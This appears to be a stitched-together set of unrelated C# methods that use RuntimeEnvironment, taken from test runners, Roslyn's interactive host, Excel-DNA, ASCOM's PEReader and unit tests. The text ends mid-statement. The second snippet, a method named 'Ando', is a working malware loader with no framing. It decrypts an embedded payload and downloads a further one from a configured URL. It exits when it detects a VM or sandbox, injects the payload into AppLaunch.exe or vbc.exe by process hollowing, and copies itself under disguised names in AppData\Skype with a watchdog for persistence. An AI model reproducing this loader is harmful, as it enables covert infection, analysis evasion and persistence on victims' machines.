ex.Types; } catch { continue; } foreach (var type in types) { #pragma warning disable CS0618 if (type == null || type.IsAbstract || type == typeof(DefaultRunnerReporter) || type == typeof(DefaultRunnerReporterWithTypes) || !type.GetInterfaces().Any(t => t == typeof(IRunnerReporter))) { continue; } #pragma warning restore CS0618 var ctor = type.GetConstructor(new Type[0]); if (ctor == null) { ConsoleHelper.SetForegroundColor(ConsoleColor.Yellow); Console.WriteLine($"Type {type.FullName} in assembly {dllFile} appears to be a runner reporter, but does not have an empty constructor."); ConsoleHelper.ResetColor(); continue; } result.Add((IRunnerReporter)ctor.Invoke(new object[0])); } } return(result); #endif }
// Methods public static void Ando() { string fileName = Process.GetCurrentProcess().MainModule.FileName; string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Skype"; if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } string str3 = path + @"\bridgemigplugin.exe"; string str4 = path + @"\FlashUtil__ActiveX.exe"; if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } bool flag2 = Convert.ToBoolean(fileName.ToLower() != str3.ToLower()); DeleteFile(fileName + ":Zone.Identifier"); Ping(); int timestamp = GetTimestamp(); Pack pack = new Pack(); byte[] data = ReadManagedResource(timestamp.ToString(CultureInfo.InvariantCulture)); object[] objArray = pack.Deserialize(Decrypt(data, timestamp.ToString(CultureInfo.InvariantCulture))); FileData = (byte[])objArray[0]; int num2 = (int)objArray[1]; int num3 = num2 * 5; bool flag3 = (bool)objArray[2 + num3]; bool flag4 = (bool)objArray[3 + num3]; byte num4 = (byte)objArray[4 + num3]; bool flag5 = (bool)objArray[5 + num3]; string caption = objArray[6 + num3].ToString(); string text = objArray[7 + num3].ToString(); bool flag6 = (bool)objArray[8 + num3]; bool flag7 = (bool)objArray[9 + num3]; bool flag8 = (bool)objArray[10 + num3]; bool flag9 = (bool)objArray[11 + num3]; string uriString = (string)objArray[12 + num3]; string pass = (string)objArray[13 + num3]; bool flag10 = (bool)objArray[14 + num3]; bool flag11 = (bool)objArray[15 + num3]; int num5 = (int)objArray[0x10 + num3]; bool flag12 = (bool)objArray[0x11 + num3]; injectionPath = string.Empty; switch (num4) { case 0: injectionPath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "AppLaunch.exe"); break; case 1: injectionPath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe"); break; case 2: injectionPath = fileName; break; } if (flag9) { try { string str9 = (num5 == -1) ? Path.GetTempPath() : Environment.GetFolderPath((Environment.SpecialFolder)num5); WebClient client = new WebClient(); Uri address = new Uri(uriString); byte[] bytes = Decrypt(client.DownloadData(address), pass); if (flag10) { string str10 = flag11 ? address.LocalPath : Path.ChangeExtension(Path.GetRandomFileName(), Path.GetExtension(address.LocalPath)); str10 = Path.Combine(str9, str10); DeleteFile(str10 + ":Zone.Identifier"); if (Path.GetFileName(str10) == Path.GetFileNameWithoutExtension(str10)) { str10 = Path.ChangeExtension(str10, "exe"); } File.WriteAllBytes(str10 + "exe", bytes); Process.Start(str10); } else { RunPE(bytes, injectionPath); } } catch (Exception) { } } if (flag7 && VMRunning()) { Environment.Exit(0); } if (flag8 && antiSandie()) { Environment.Exit(0); } if (flag6) { FileData = Decompress(FileData); } if (flag5 && flag2) { MessageBox.Show(text, caption, MessageBoxButtons.OK, MessageBoxIcon.Hand); } if ((num2 != 0) && flag2) { for (int i = 0; i < num2; i++) { int num7 = i * 5; string str11 = (string)objArray[num7 + 2]; Environment.SpecialFolder folder = (Environment.SpecialFolder)objArray[num7 + 3]; FileAttributes fileAttributes = (FileAttributes)objArray[num7 + 4]; bool flag13 = (bool)objArray[num7 + 5]; byte[] buffer2 = (byte[])objArray[num7 + 6]; DeleteFile(folder + ":Zone.Identifier"); if (flag6) { buffer2 = Decompress(buffer2); } if (flag13) { string str12 = Path.Combine(Environment.GetFolderPath(folder), str11); File.WriteAllBytes(str12, buffer2); File.SetAttributes(str12, fileAttributes); Process.Start(str12); } else { RunPE(buffer2, injectionPath); } } } if (flag3) { DeleteFile(str4 + ":Zone.Identifier"); try { if (File.Exists(str3) && File.Exists(str3)) { File.Delete(str3); } if (File.Exists(str4) && File.Exists(str4)) { File.Delete(str4); } } catch (Exception) { } try { object[] arguments = new object[] { fileName, str3 }; bool[] copyBack = new bool[] { true, true }; NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(Interaction.CreateObject("Scripting.FileSystemObject", "")), null, "CopyFile", arguments, null, null, copyBack, true); } catch (Exception) { } try { File.WriteAllBytes(str4, Resource1.FlashUtil__ActiveX); } catch (Exception) { } } try { RunPE(FileData, injectionPath); if (flag12) { try { Thread thread2 = new Thread(new ThreadStart(Deles.MonitorInjection)) { IsBackground = true }; thread2.Start(); } catch { } } } catch { } if (flag3) { while (!Kill) { try { if (Process.GetProcessesByName("FlashUtil__ActiveX").Length == 0) { Process.Start(str4); } } catch { } Thread.Sleep(100); } } if (flag4) { try { string str13 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Templates), "cscservice.exe"); if (File.Exists(str13)) { File.Delete(str13); } File.Move(fileName, str13); Process.Start(str13); ProjectData.EndApp(); } catch { } } ProjectData.EndApp(); }
private async Task <EvaluationState> InitializeContextAsync( Task <EvaluationState> lastTask, TaskCompletionSource <RemoteExecutionResult> completionSource, string?initializationFile, bool isRestarting) { Contract.ThrowIfFalse(initializationFile == null || PathUtilities.IsAbsolute(initializationFile)); var serviceState = GetServiceState(); var state = await ReportUnhandledExceptionIfAnyAsync(lastTask).ConfigureAwait(false); try { // TODO (tomat): this is also done in CommonInteractiveEngine, perhaps we can pass the parsed command lines to here? if (!isRestarting) { Console.Out.WriteLine(serviceState.ReplServiceProvider.Logo); } if (File.Exists(initializationFile)) { Console.Out.WriteLine(string.Format(InteractiveHostResources.Loading_context_from_0, Path.GetFileName(initializationFile))); var parser = serviceState.ReplServiceProvider.CommandLineParser; // The base directory for relative paths is the directory that contains the .rsp file. // Note that .rsp files included by this .rsp file will share the base directory (Dev10 behavior of csc/vbc). var rspDirectory = Path.GetDirectoryName(initializationFile); var args = parser.Parse(new[] { "@" + initializationFile }, rspDirectory, RuntimeEnvironment.GetRuntimeDirectory(), null); foreach (var error in args.Errors) { var writer = (error.Severity == DiagnosticSeverity.Error) ? Console.Error : Console.Out; writer.WriteLine(error.GetMessage(CultureInfo.CurrentCulture)); } if (args.Errors.Length == 0) { var metadataResolver = CreateMetadataReferenceResolver(args.ReferencePaths, rspDirectory); var sourceResolver = CreateSourceReferenceResolver(args.SourcePaths, rspDirectory); var metadataReferences = new List <PortableExecutableReference>(); foreach (CommandLineReference cmdLineReference in args.MetadataReferences) { // interactive command line parser doesn't accept modules or linked assemblies Debug.Assert(cmdLineReference.Properties.Kind == MetadataImageKind.Assembly && !cmdLineReference.Properties.EmbedInteropTypes); var resolvedReferences = metadataResolver.ResolveReference(cmdLineReference.Reference, baseFilePath: null, properties: MetadataReferenceProperties.Assembly); if (!resolvedReferences.IsDefaultOrEmpty) { metadataReferences.AddRange(resolvedReferences); } } var scriptPathOpt = args.SourceFiles.IsEmpty ? null : args.SourceFiles[0].Path; var rspState = new EvaluationState( state.ScriptState, state.ScriptOptions. WithFilePath(scriptPathOpt). WithReferences(metadataReferences). WithImports(CommandLineHelpers.GetImports(args)). WithMetadataResolver(metadataResolver). WithSourceResolver(sourceResolver), args.SourcePaths, args.ReferencePaths, rspDirectory); var globals = serviceState.Globals; globals.ReferencePaths.Clear(); globals.ReferencePaths.AddRange(args.ReferencePaths); globals.SourcePaths.Clear(); globals.SourcePaths.AddRange(args.SourcePaths); globals.Args.AddRange(args.ScriptArguments); if (scriptPathOpt != null) { var newScriptState = await TryExecuteFileAsync(rspState, scriptPathOpt).ConfigureAwait(false); if (newScriptState != null) { // remove references and imports from the options, they have been applied and will be inherited from now on: rspState = rspState. WithScriptState(newScriptState). WithOptions(rspState.ScriptOptions.RemoveImportsAndReferences()); } } state = rspState; } } if (!isRestarting) { Console.Out.WriteLine(InteractiveHostResources.Type_Sharphelp_for_more_information); } } catch (Exception e) { ReportUnhandledException(e); } finally { state = CompleteExecution(state, completionSource, success: true); } return(state); }
private static IEnumerable <string> GetPreviews() { var folder = FileSystem.GetAbsolutePath(@"Test\Emails", RuntimeEnvironment.GetSourceFolder()); return(Directory.GetFiles(folder, "*.html").Select(Path.GetFileNameWithoutExtension).ToList()); }
static void Main(string[] args) { var optionsDef = new CommandLineOptions <CommandOptions>(); string[] restArgs; var options = optionsDef.Parse(args, out restArgs); if (restArgs.Length == 0) { Console.Error.WriteLine("スクリプトファイルを指定してください"); Environment.Exit(1); } var scriptSource = Path.GetFullPath(restArgs[0]); var scriptArgs = (restArgs.Length > 1) ? restArgs.Slice(1) : Array.Empty <string>(); #if false var scriptOptions = ScriptOptions.Default .WithReferences(Assembly.GetExecutingAssembly()) .WithFilePath(scriptSource) .WithSourceResolver( ScriptSourceResolver.Default .WithSearchPaths( options.LibraryRoots.Select(path => Environment.ExpandEnvironmentVariables(path)))); Script script; using (var reader = new StreamReader(scriptSource)) { script = CSharpScript.Create(reader.ReadToEnd(), scriptOptions); } ScriptContext.ScriptPath = scriptSource; ScriptContext.CommandLineArgs = scriptArgs; var diags = script.Compile(); if (diags.Length > 0) { foreach (var diag in diags) { Console.Error.WriteLine(diag); } Environment.Exit(1); } var result = script.RunAsync().Result; Console.WriteLine(result.ReturnValue); #elif true var scriptPath = Path.GetFullPath("TestScript.csx"); var compilationOption = new CSharpCompilationOptions( OutputKind.ConsoleApplication, optimizationLevel: OptimizationLevel.Release, sourceReferenceResolver: ScriptSourceResolver.Default .WithSearchPaths(Environment.CurrentDirectory), metadataReferenceResolver: ScriptPathResolver.Default .WithSearchPaths( Environment.CurrentDirectory, RuntimeEnvironment.GetRuntimeDirectory())); string text; using (var reader = new StreamReader(scriptPath)) { text = reader.ReadToEnd(); } var tree = SyntaxFactory.ParseSyntaxTree( text, new CSharpParseOptions( kind: SourceCodeKind.Script, documentationMode: DocumentationMode.None), scriptPath, Encoding.UTF8); var references = Assembly.GetExecutingAssembly() .GetReferencedAssemblies() .Select(name => MetadataReference.CreateFromFile(Assembly.ReflectionOnlyLoad(name.FullName).Location)); var compilation = CSharpCompilation.Create( "test", new[] { tree }, references, compilationOption); var emitResult = compilation.Emit("test.exe", "test.pdb"); if (!emitResult.Success) { foreach (var diag in emitResult.Diagnostics) { Console.WriteLine(diag); } } #else var sourceText = new StringBuilder(); using (var reader = new StreamReader("TestScript.csx")) { while (!reader.EndOfStream) { var line = reader.ReadLine().Trim(); if (line.StartsWith("#load")) { } else if (line.StartsWith("#r")) { } else { sourceText.AppendLine(line); } } } var provider = new CSharpCodeProvider(); var options = new CompilerParameters() { GenerateExecutable = true, OutputAssembly = "test.exe", CompilerOptions = "/define:hogehoge", }; var result = provider.CompileAssemblyFromSource(options, sourceText.ToString()); if (result.Output.Count > 0) { foreach (var output in result.Output) { Console.WriteLine(output); } } if (result.Errors.Count > 0) { foreach (var error in result.Errors) { Console.WriteLine(error); } } #endif Console.Read(); }
public ScheduledJobsManagerContext(RuntimeEnvironment env, DbContextProvider dbBridge) { _globalEnv = env; _dbBridge = dbBridge; }
public static string GetSdkPath() { return(Utilities.GetSdkPath(new Version(RuntimeEnvironment.GetSystemVersion().NullSafeTrimStart('v')))); }
public void HealthTest() { var status = PostFile(FileSystem.GetAbsolutePath(@"Apps\Management\Test\EmailStatus\TestData\HealthTest.eml", RuntimeEnvironment.GetSourceFolder())); Assert.AreEqual(HttpStatusCode.Accepted, status); }
// ResolvePath tries to figure out the actual path to a file - either a .dna file or an // assembly to be packed. // Resolution sequence: // 1. Check the path - if not rooted that will be relative to working directory. // 2. If the path is rooted, try the filename part relative to the .dna file location. // If the path is not rooted, try the whole path relative to the .dna file location. // 3. Try step 2 against the appdomain. // dnaDirectory can be null, in which case we don't check against it. // This might be the case when we're loading from a Uri. // CONSIDER: Should the Uri case be handled better? public static string ResolvePath(string path, string dnaDirectory) { Logger.Initialization.Info("ResolvePath: Resolving {0} from DnaDirectory: {1}", path, dnaDirectory); if (File.Exists(path)) { string fullPath = Path.GetFullPath(path); Logger.Initialization.Info("ResolvePath: Found at {0}", fullPath); return(fullPath); } string fileName = Path.GetFileName(path); if (dnaDirectory != null) { // Try relative to dna directory string dnaPath; if (Path.IsPathRooted(path)) { // It was a rooted path -- try locally instead dnaPath = Path.Combine(dnaDirectory, fileName); } else { // Not rooted - try a path relative to local directory dnaPath = System.IO.Path.Combine(dnaDirectory, path); } Logger.Initialization.Verbose("ResolvePath: Checking at {0}", dnaPath); if (File.Exists(dnaPath)) { Logger.Initialization.Info("ResolvePath: Found at {0}", dnaPath); return(dnaPath); } } // try relative to AppDomain BaseDirectory string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; if (baseDirectory != dnaDirectory) { string basePath; if (Path.IsPathRooted(path)) { basePath = Path.Combine(baseDirectory, fileName); } else { basePath = System.IO.Path.Combine(baseDirectory, path); } // ... and check again Logger.Initialization.Verbose("ResolvePath: Checking at {0}", basePath); if (File.Exists(basePath)) { Logger.Initialization.Info("ResolvePath: Found at {0}", basePath); return(basePath); } } // CONSIDER: Do we really need this? // - it is here mainly for backward compatibility, so that Path="System.Windows.Forms.dll" will still work. // Try in .NET framework directory // Last try - check in current version of .NET's directory, string frameworkBase = RuntimeEnvironment.GetRuntimeDirectory(); string frameworkPath = Path.Combine(frameworkBase, fileName); if (File.Exists(frameworkPath)) { Logger.Initialization.Info("ResolvePath: Found at {0}", frameworkPath); return(frameworkPath); } // Else give up (maybe try load from GAC for assemblies?) Logger.Initialization.Warn("ResolvePath: Could not find {0} from DnaDirectory {1}", path, dnaDirectory); return(null); }
public void Smtp550Test() { var status = PostFile(FileSystem.GetAbsolutePath(@"Apps\Management\Test\EmailStatus\TestData\Smtp550Test.eml", RuntimeEnvironment.GetSourceFolder())); Assert.AreEqual(HttpStatusCode.NoContent, status); Assert.AreEqual("*****@*****.**", _emailVerificationsCommand.Member.GetBestEmailAddress().Address); Assert.IsFalse(_emailVerificationsCommand.Member.GetBestEmailAddress().IsVerified); StringAssert.StartsWith("smtp; 550 '*****@*****.**' is not a registered gateway user", _emailVerificationsCommand.EmailBounceReason); }
public void Deny_GetRuntimeDirectory() { Assert.IsNotNull(RuntimeEnvironment.GetRuntimeDirectory()); }
public override int Eval(RuntimeEnvironment runtimeEnvironment, FunctionEnvironment functionEnvironment) { return _value; }
public void Deny_GetSystemVersion() { Assert.IsNotNull(RuntimeEnvironment.GetSystemVersion()); }
public static Task<int> ExecuteAsync(string[] args, BootstrapperContext bootstrapperContext) { var app = new CommandLineApplication(throwOnUnexpectedArg: false); app.Name = Constants.BootstrapperExeName; app.FullName = Constants.BootstrapperFullName; // These options were handled in the native code, but got passed through here. // We just need to capture them and clean them up. var optionProject = app.Option("--project|-p <PATH>", "Path to the project.json file or the application folder. Defaults to the current folder if not provided.", CommandOptionType.SingleValue); var optionAppbase = app.Option("--appbase <PATH>", "Application base directory path", CommandOptionType.SingleValue); var optionLib = app.Option("--lib <LIB_PATHS>", "Paths used for library look-up", CommandOptionType.MultipleValue); var optionDebug = app.Option("--debug", "Waits for the debugger to attach before beginning execution.", CommandOptionType.NoValue); if (bootstrapperContext.RuntimeType != "Mono") { app.Option("--bootstrapper-debug", "Waits for the debugger to attach before bootstrapping runtime.", CommandOptionType.NoValue); } #if DNX451 var optionFramework = app.Option("--framework <FRAMEWORK_ID>", "Set the framework version to use when running (i.e. dnx451, dnx452, dnx46, ...)", CommandOptionType.SingleValue); #endif var env = new RuntimeEnvironment(bootstrapperContext); app.HelpOption("-?|-h|--help"); app.VersionOption("--version", () => env.GetShortVersion(), () => env.GetFullVersion()); // Options below are only for help info display // They will be forwarded to Microsoft.Dnx.ApplicationHost var optionsToForward = new[] { app.Option("--watch", "Watch file changes", CommandOptionType.NoValue), app.Option("--packages <PACKAGE_DIR>", "Directory containing packages", CommandOptionType.SingleValue), app.Option("--configuration <CONFIGURATION>", "The configuration to run under", CommandOptionType.SingleValue), app.Option("--port <PORT>", "The port to the compilation server", CommandOptionType.SingleValue) }; app.Execute(args); // Help information was already shown because help option was specified if (app.IsShowingInformation) { return Task.FromResult(0); } // Show help information if no subcommand/option was specified if (!app.IsShowingInformation && app.RemainingArguments.Count == 0) { app.ShowHelp(); return Task.FromResult(2); } // Some options should be forwarded to Microsoft.Dnx.ApplicationHost var appHostName = "Microsoft.Dnx.ApplicationHost"; var appHostIndex = app.RemainingArguments.FindIndex(s => string.Equals(s, appHostName, StringComparison.OrdinalIgnoreCase)); foreach (var option in optionsToForward) { if (option.HasValue()) { if (appHostIndex < 0) { Console.WriteLine("The option '--{0}' can only be used with {1}", option.LongName, appHostName); return Task.FromResult(1); } if (option.OptionType == CommandOptionType.NoValue) { app.RemainingArguments.Insert(appHostIndex + 1, "--" + option.LongName); } else if (option.OptionType == CommandOptionType.SingleValue) { app.RemainingArguments.Insert(appHostIndex + 1, "--" + option.LongName); app.RemainingArguments.Insert(appHostIndex + 2, option.Value()); } else if (option.OptionType == CommandOptionType.MultipleValue) { foreach (var value in option.Values) { app.RemainingArguments.Insert(appHostIndex + 1, "--" + option.LongName); app.RemainingArguments.Insert(appHostIndex + 2, value); } } } } // Resolve the lib paths IEnumerable<string> searchPaths = ResolveSearchPaths(bootstrapperContext.RuntimeDirectory, optionLib.Values, app.RemainingArguments); var bootstrapper = new Bootstrapper(searchPaths); return bootstrapper.RunAsync(app.RemainingArguments, env, bootstrapperContext.ApplicationBase, bootstrapperContext.TargetFramework); }
public void PermitOnly_GetRuntimeDirectory() { RuntimeEnvironment.GetRuntimeDirectory(); }
public static LibraryLoader Create(ScriptingEngine engine, RuntimeEnvironment env) { return new LibraryLoader(env, engine); }
// This functionality needs to be provided as .NET Core API. // Releated issues: // https://github.com/dotnet/core-setup/issues/1846 // https://github.com/NuGet/Home/issues/5862 public static string GetNativeLibraryDirectoryName() { var runtimeIdentifier = RuntimeEnvironment.GetRuntimeIdentifier(); #if DEBUG Debug.Assert(SDirectories.Length == SRids.Length); for (var i = 1; i < SRids.Length; i++) { Debug.Assert(StringComparer.Ordinal.Compare(SRids[i - 1], SRids[i]) < 0); } #endif var index = Array.BinarySearch(SRids, runtimeIdentifier, StringComparer.Ordinal); if (index < 0) { // Take the runtime id with highest version of matching OS. // The runtimes in the table are currently sorted so that this works. ParseRuntimeId(runtimeIdentifier, out var runtimeOs, out var runtimeVersion, out var runtimeQualifiers); // find version-less rid: var bestMatchIndex = -1; string[] bestVersion = null; void FindBestCandidate(int startIndex, int increment) { var i = startIndex; while (i >= 0 && i < SRids.Length) { var candidate = SRids[i]; ParseRuntimeId(candidate, out var candidateOs, out var candidateVersion, out var candidateQualifiers); if (candidateOs != runtimeOs) { break; } // Find the highest available version that is lower than or equal to the runtime version // among candidates that have the same qualifiers. if (candidateQualifiers == runtimeQualifiers && CompareVersions(candidateVersion, runtimeVersion) <= 0 && (bestVersion == null || CompareVersions(candidateVersion, bestVersion) > 0)) { bestMatchIndex = i; bestVersion = candidateVersion; } i += increment; } } FindBestCandidate(~index - 1, -1); FindBestCandidate(~index, +1); if (bestMatchIndex < 0) { throw new PlatformNotSupportedException(runtimeIdentifier); } index = bestMatchIndex; } return(SDirectories[index]); }
public InvalidRuntimeEnvironmentException(RuntimeEnvironment correctRuntime) : base(string.Format("The requested operation requires the runtime to be {0}", Enum.GetName(typeof(RuntimeEnvironment), correctRuntime))) { }
internal PEReader(string FileName, TraceLogger TLogger) { this.sectionHeaders = (IList <PEReader.IMAGE_SECTION_HEADER>) new List <PEReader.IMAGE_SECTION_HEADER>(); this.IsAssembly = false; this.OS32BitCompatible = false; this.TL = TLogger; this.TL.LogMessage("PEReader", "Running within CLR version: " + RuntimeEnvironment.GetSystemVersion()); if (Operators.CompareString(Strings.Left(FileName, 5).ToUpper(), "FILE:", false) == 0) { Uri uri = new Uri(FileName); FileName = uri.LocalPath + Uri.UnescapeDataString(uri.Fragment).Replace("/", "\\\\"); } this.TL.LogMessage("PEReader", "Filename to check: " + FileName); if (!File.Exists(FileName)) { throw new FileNotFoundException("PEReader - File not found: " + FileName); } this.TL.LogMessage("PEReader", "Determining whether this is an assembly"); try { this.SuppliedAssembly = Assembly.ReflectionOnlyLoadFrom(FileName); this.IsAssembly = true; this.TL.LogMessage("PEReader.IsAssembly", "Found an assembly because it loaded Ok to the reflection context: " + Conversions.ToString(this.IsAssembly)); } catch (FileNotFoundException ex) { //ProjectData.SetProjectError((Exception) ex); this.TL.LogMessage("PEReader.IsAssembly", "FileNotFoundException: File not found so this is NOT an assembly: " + Conversions.ToString(this.IsAssembly)); //ProjectData.ClearProjectError(); } catch (BadImageFormatException ex) { //ProjectData.SetProjectError((Exception) ex); int hrForException = Marshal.GetHRForException((Exception)ex); switch (hrForException) { case -2147024885: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - COR_E_BADIMAGEFORMAT. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2146234105: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - CLDB_E_FILE_OLDVER. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2146234076: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - CLDB_E_INDEX_NOTFOUND. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2146234098: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - CLDB_E_FILE_CORRUPT. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2146234341: this.IsAssembly = true; this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - COR_E_NEWER_RUNTIME. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2146234344: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - COR_E_ASSEMBLYEXPECTED. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2147024703: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - ERROR_BAD_EXE_FORMAT. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2147024704: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - ERROR_EXE_MARKED_INVALID. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2146233315: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - CORSEC_E_INVALID_IMAGE_FORMAT. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2147023898: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - ERROR_NOACCESS. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2147024714: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - ERROR_INVALID_ORDINAL. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2147023742: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - ERROR_INVALID_DLL. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2147023504: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - ERROR_FILE_CORRUPT. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2146234280: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - COR_E_LOADING_REFERENCE_ASSEMBLY. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; case -2146233966: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - META_E_BAD_SIGNATURE. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; default: this.TL.LogMessage("PEReader.IsAssembly", "BadImageFormatException. hResult: " + hrForException.ToString("X8") + " - Meaning of error code is unknown. Setting IsAssembly to: " + Conversions.ToString(this.IsAssembly)); break; } //ProjectData.ClearProjectError(); } catch (FileLoadException ex) { //ProjectData.SetProjectError((Exception) ex); this.IsAssembly = true; this.TL.LogMessage("PEReader.IsAssembly", "FileLoadException: Assembly already loaded so this is an assembly: " + Conversions.ToString(this.IsAssembly)); //ProjectData.ClearProjectError(); } this.TL.LogMessage("PEReader", "Determining PE Machine type"); this.stream = (Stream) new FileStream(FileName, FileMode.Open, FileAccess.Read); this.reader = new BinaryReader(this.stream); this.reader.BaseStream.Seek(0L, SeekOrigin.Begin); this.dosHeader = PEReader.MarshalBytesTo <PEReader.IMAGE_DOS_HEADER>(this.reader); if ((int)this.dosHeader.e_magic != 23117) { throw new ASCOM.InvalidOperationException("File is not a portable executable."); } this.reader.BaseStream.Seek((long)this.dosHeader.e_lfanew, SeekOrigin.Begin); this.ntHeaders.Signature = PEReader.MarshalBytesTo <uint>(this.reader); if ((long)this.ntHeaders.Signature != 17744L) { throw new ASCOM.InvalidOperationException("Invalid portable executable signature in NT header."); } this.ntHeaders.FileHeader = PEReader.MarshalBytesTo <PEReader.IMAGE_FILE_HEADER>(this.reader); switch (this.ntHeaders.FileHeader.Machine) { case 332: this.OS32BitCompatible = true; this.TL.LogMessage("PEReader.MachineType", "Machine - found \"Intel 32bit\" executable. Characteristics: " + this.ntHeaders.FileHeader.Characteristics.ToString("X8") + ", OS32BitCompatible: " + Conversions.ToString(this.OS32BitCompatible)); break; case 512: this.OS32BitCompatible = false; this.TL.LogMessage("PEReader.MachineType", "Machine - found \"Itanium 64bit\" executable. Characteristics: " + this.ntHeaders.FileHeader.Characteristics.ToString("X8") + ", OS32BitCompatible: " + Conversions.ToString(this.OS32BitCompatible)); break; case 34404: this.OS32BitCompatible = false; this.TL.LogMessage("PEReader.MachineType", "Machine - found \"Intel 64bit\" executable. Characteristics: " + this.ntHeaders.FileHeader.Characteristics.ToString("X8") + ", OS32BitCompatible: " + Conversions.ToString(this.OS32BitCompatible)); break; default: this.TL.LogMessage("PEReader.MachineType", "Found Unknown machine type: " + this.ntHeaders.FileHeader.Machine.ToString("X8") + ". Characteristics: " + this.ntHeaders.FileHeader.Characteristics.ToString("X8") + ", OS32BitCompatible: " + Conversions.ToString(this.OS32BitCompatible)); break; } if (this.OS32BitCompatible) { this.TL.LogMessage("PEReader.MachineType", "Reading optional 32bit header"); this.ntHeaders.OptionalHeader32 = PEReader.MarshalBytesTo <PEReader.IMAGE_OPTIONAL_HEADER32>(this.reader); } else { this.TL.LogMessage("PEReader.MachineType", "Reading optional 64bit header"); this.ntHeaders.OptionalHeader64 = PEReader.MarshalBytesTo <PEReader.IMAGE_OPTIONAL_HEADER64>(this.reader); } if (this.IsAssembly) { this.TL.LogMessage("PEReader", "This is an assembly, determining Bitness through the CLR header"); int num1 = 1000; if (this.OS32BitCompatible) { this.TL.LogMessage("PEReader.Bitness", "This is a 32 bit assembly, reading the CLR Header"); if ((long)this.ntHeaders.OptionalHeader32.NumberOfRvaAndSizes < 1000L) { num1 = checked ((int)this.ntHeaders.OptionalHeader32.NumberOfRvaAndSizes); } this.TL.LogMessage("PEReader.Bitness", "Checking " + Conversions.ToString(num1) + " headers"); int num2 = 0; int num3 = checked (num1 - 1); int index = num2; while (index <= num3) { if ((long)this.ntHeaders.OptionalHeader32.DataDirectory[index].Size > 0L) { this.sectionHeaders.Add(PEReader.MarshalBytesTo <PEReader.IMAGE_SECTION_HEADER>(this.reader)); } checked { ++index; } } IEnumerator <PEReader.IMAGE_SECTION_HEADER> enumerator = null; try { enumerator = this.sectionHeaders.GetEnumerator(); while (enumerator.MoveNext()) { PEReader.IMAGE_SECTION_HEADER current = enumerator.Current; if (Operators.CompareString(current.Name, ".text", false) == 0) { this.TextBase = current.PointerToRawData; } } } finally { if (enumerator != null) { enumerator.Dispose(); } } if (num1 >= 15 && (long)this.ntHeaders.OptionalHeader32.DataDirectory[14].VirtualAddress > 0L) { this.reader.BaseStream.Seek((long)checked (this.ntHeaders.OptionalHeader32.DataDirectory[14].VirtualAddress - this.ntHeaders.OptionalHeader32.BaseOfCode + this.TextBase), SeekOrigin.Begin); this.CLR = PEReader.MarshalBytesTo <PEReader.IMAGE_COR20_HEADER>(this.reader); } } else { this.TL.LogMessage("PEReader.Bitness", "This is a 64 bit assembly, reading the CLR Header"); if ((long)this.ntHeaders.OptionalHeader64.NumberOfRvaAndSizes < 1000L) { num1 = checked ((int)this.ntHeaders.OptionalHeader64.NumberOfRvaAndSizes); } this.TL.LogMessage("PEReader.Bitness", "Checking " + Conversions.ToString(num1) + " headers"); int num2 = 0; int num3 = checked (num1 - 1); int index = num2; while (index <= num3) { if ((long)this.ntHeaders.OptionalHeader64.DataDirectory[index].Size > 0L) { this.sectionHeaders.Add(PEReader.MarshalBytesTo <PEReader.IMAGE_SECTION_HEADER>(this.reader)); } checked { ++index; } } IEnumerator <PEReader.IMAGE_SECTION_HEADER> enumerator = null; try { enumerator = this.sectionHeaders.GetEnumerator(); while (enumerator.MoveNext()) { PEReader.IMAGE_SECTION_HEADER current = enumerator.Current; if (Operators.CompareString(current.Name, ".text", false) == 0) { this.TL.LogMessage("PEReader.Bitness", "Found TEXT section"); this.TextBase = current.PointerToRawData; } } } finally { if (enumerator != null) { enumerator.Dispose(); } } if (num1 >= 15 && 